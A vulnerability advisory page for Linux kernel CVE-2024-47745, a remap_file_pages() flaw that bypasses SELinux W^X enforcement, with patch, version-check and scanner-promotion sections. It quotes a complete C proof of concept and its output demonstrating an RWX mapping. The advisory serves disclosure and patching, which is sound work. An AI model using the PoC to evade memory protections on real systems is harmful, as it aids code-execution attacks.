high CVSS 7.8 EPSS <0.1%

CVE-2024-47745·Kernel vulnerability

In the Linux kernel, the following vulnerability has been resolved: mm: call the security_mmap_file() LSM hook in remap_file_pages() The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux. So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux. The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1]. The PoC: $ cat > test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted) [PM: subject line tweaks]

Severity
high
Software
Kernel
Fixed in
6.11.2
Published

How likely is exploitation

FIRST's Exploit Prediction Scoring System puts the probability of this CVE being exploited in the next 30 days at <0.1% — in the bottom 1% of all published CVEs. EPSS is an independent forecast of exploitation, not a severity rating: it says nothing about how much damage a successful attack does, which is what a CVSS score measures.

Read the two together. CVE-2024-47745 scores 7.8 on CVSS, so a successful attack would be serious — but at <0.1%, almost nobody is currently attempting it. That is a different situation from a flaw under mass exploitation, and it is usually the difference between patching on your next maintenance window and patching tonight.

Affected versions

From: 6.11

Until: 6.11.2

Fixed in: 6.11.2

How to fix this CVE

Update your Linux kernel to version 6.11.2 or later to patch the remap_file_pages() LSM hook bypass. This fix ensures that security_mmap_file() LSM checks are properly enforced before memory remapping operations, preventing attackers from circumventing W^X (write-xor-execute) policies enforced by SELinux. Systems running kernel versions 6.11 through 6.11.1 should be prioritized for patching.

sudo dnf check-update kernel && sudo dnf update kernel

Defensia detects this vulnerability

How to check if you are affected

  1. Run 'uname -r' to determine your installed kernel version and verify if it falls between 6.11 and 6.11.1
  2. Check if SELinux is enabled on your system with 'getenforce' and verify your security policy configuration with 'sestatus'
  3. Search kernel logs for remap_file_pages syscall activity using 'grep -i remap /var/log/audit/audit.log' or check dmesg for LSM denial messages
  4. After applying the kernel update, run 'uname -r' again and verify the version is 6.11.2 or later, then reboot if required

FAQ

What is CVE-2024-47745?

CVE-2024-47745 is a kernel vulnerability where the remap_file_pages() syscall bypasses LSM security checks, allowing an attacker to convert read-write memory pages to read-write-execute (RWX) and circumvent W^X policies enforced by SELinux.

Is CVE-2024-47745 being actively exploited?

No, according to CISA KEV data, CVE-2024-47745 is not currently being actively exploited in the wild, and no public exploits are widely available.

What versions of Kernel are affected by CVE-2024-47745?

Linux kernel versions 6.11 through 6.11.1 are affected by this vulnerability. Version 6.11.2 and later contain the security fix.

How do I check if my server is vulnerable to CVE-2024-47745?

Run 'uname -r' to check your kernel version; if it shows 6.11.0 or 6.11.1, your system is vulnerable. Additionally, verify if SELinux is active with 'getenforce' to determine if you are affected by the W^X policy bypass.

Does Defensia detect CVE-2024-47745?

Yes — Defensia's CVE advisory scanner compares installed package versions against the NVD database. If the Linux kernel is installed on a monitored server, CVE-2024-47745 will appear in your dashboard with remediation steps.

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References

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